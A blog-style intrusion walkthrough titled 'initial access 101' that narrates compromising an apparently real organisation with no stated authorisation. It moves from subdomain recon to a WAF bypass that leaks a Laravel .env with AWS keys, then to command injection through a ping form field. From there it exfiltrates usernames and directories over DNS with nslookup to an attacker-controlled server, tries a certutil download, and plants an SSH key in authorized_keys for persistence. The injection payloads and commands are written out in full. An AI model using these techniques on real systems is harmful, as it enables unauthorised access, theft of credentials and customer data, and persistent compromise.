initial access 101

this is going to be a (very) brief introduction to attacking a target; so here goes:

reconning

usually, when i recon i use amass to find subdomains and see what else they have hidden to expand our surface:

root@7dfe8d5e1506e647c8896d5fc090ef006585954b:/opt# amass enum -d target.com -passive -o output/lol.sub
cdn.target.com
en.target.com
www.target.com
fuckyou.target.com
[sekrit]

using a few dirty/scuffed scripts to probe for configs and other sensitive files, i came across a .git directory; with it containg env files, backups etc.

root@7dfe8d5e1506e647c8896d5fc090ef006585954b:/opt# /usr/bin/lolcopter/1.py output/redacted.sub
FOUND 403 with .env ON mgmt.target.com

as you see above we hit a 403. quite unfortunate! obviously we won’t be able to just do simple things like appending url encoded slashes to the end and praying that it works - however, we can try a neat trick:

1

as shown above, we can check our target’s A records or CNAMEs to see if they check there. in this case i was lucky enough that our target possesses a unique talent; that is, the inability to setup their WAF; and it let us access thru their A record:

root@7dfe8d5e1506e647c8896d5fc090ef006585954b:/lol# curl -s -L -k https://199.???..../.env
APP_NAME=Laravel
APP_ENV=local
APP_KEY=REDACTED

AWS_ACCESS_KEY_ID=AKIAREDACTED
AWS_SECRET_ACCESS_KEY=REDACTED
APP_ENGINE=REDACTED
...

[REDACTED]

outside of this there are also quite a treasure load of ways to get around 403s. for example ive tried switching from https to http and having that work out for me; along with setting our X-Remote-IP header to localhost.

landing - further penetration

oh yeah i forgot but usually youd also use csint tools to scrape for data breaches on your target lolol but anyway if you have the .env its jackpot anyway

anyhow, when trying to login to our target we gained access to additional stuff on our target - crucially; this gave me access to customer data and monthly revenue among other sensitive details. one (very interesting) page let me send ICMP pings from a text field; likely to test if somethings up or not. the page had a full list of ips and basically let me slowly map out our target.

i decided then to setup a crappy rdp and put its ip in our textfield; then downloaded tcpdump.

2

(kinda) interesting. doing some extra testing i tried entering 127.0.0.1 & ping -n 1 IP_HERE. this pings the loopback and my rdp. watching it in tcpdump, we got this:

3

we will use the stuff we got from here a bit later.

even further

cool now lets try downloading a file from something random on our target server to see if it can initiate requests and download stuff. this is to check if the firewall was nuking our outgoing stuff; or if applocker is blocking things.

i got nothing back which led me to guess that the machine likely is blocking outgoing stuff:

127.0.0.1 & certutil.exe -urlcache -split -f https://secret/fuck.txt C:\Windows\Temp\fuck.txt

RC..

next, i did this command in the field to test our ultimate jackpot: 127.0.0.1 & FOR /F %i in ('whoami') do nslookup %i.xdni.com 192.IP.IP.IP

in essence this basically lets us recover the name of the user and to test for RCE ; which in this case is just svc_user.

root@7dfe8d5e1506e647c8896d5fc090ef006585954b:/# tcpdump -i eth0 udp port 53 -n
10:32:43.050034 IP 0.0.0.0.52134 > 0.0.0.0.53: 2+ A? svc_user.xndi.com. (26)
10:32:45.050039 IP 0.0.0.0.52134 > 0.0.0.0.53: 3+ AAAA? svc_user.xndi.com. (26)

gg

RCE

with this equipped we can now run commands and we can now do quite a lot more; for example:

127.0.0.1 & FOR /F %i in ('cd') do nslookup %i.xndi.com 192.IP.IP.IP

this yielded us

10:35:20.060544 IP 0.0.0.0.52134 > 0.0.0.0.53: 2+ A? .c.inetpub.xndi.com. (26)
10:35:22.062698 IP 0.0.0.0.52134 > 0.0.0.0.53: 3+ AAAA? .c.inetpub.xndi.com. (26)

so we are now in the C:/inetpub directory. cool!

we can now run any command we want with this. as a demonstration of power i ran

127.0.0.1 & FOR /F "tokens=1,2,3" %a in ('dir /B C:\Users') do nslookup %a.%b.%c 192.IP.IP.IP

and we got

10:35:20.060544 IP 0.0.0.0.52134 > 0.0.0.0.53: 2+ A? .public.xndi.com. (26)
10:35:22.062698 IP 0.0.0.0.52134 > 0.0.0.0.53: 3+ AAAA? .public.xndi.com. (26)
10:35:22.020124 IP 0.0.0.0.52134 > 0.0.0.0.53: 2+ A? .administrator.xndi.com. (26)
10:35:24.031698 IP 0.0.0.0.52134 > 0.0.0.0.53: 3+ AAAA? .administrator.xndi.com. (26)
10:35:24.013434 IP 0.0.0.0.52134 > 0.0.0.0.53: 2+ A? .svc_user.xndi.com. (26)
10:35:26.042951 IP 0.0.0.0.52134 > 0.0.0.0.53: 3+ AAAA? .svc_user.xndi.com. (26)

checking the svc_user’s home directory, i noticed that it had .ssh. running icacls:

C:\Users\svc_user>icacls.exe .ssh
.ssh NT AUTHORITY\SYSTEM:(I)(OI)(CI)(F)
     BUILTIN\Administrators:(I)(OI)(CI)(F)
     XXXXXX-XXXXXX\svc_user:(I)(OI)(CI)(F)

a quick breakdown of these I/OI/CI/F flags:

  • I stands for inheritance; meaning perms are inherited from the parent folder
  • OI stands for Object Inherit, meaning that the permission applies to files within the folder and propagates to all child files.
  • CI stands for Container Inherit; meaning that it is OI but it propagates to all child directories.
  • F means Full Control. the user can do whatever the fuck they want.

so we are quite lucky. before we do anything though we first confirm that we can actually do stuff through ssh in the first place. after ensuring its open, i generated a new ssh key thru ssh-keygen, grabbed the public key and placed it in .ssh:

127.0.0.1 & echo ssh-rsa REDACTED > C:\Users\svc_user\.ssh\authorized_keys

now we have persistence gg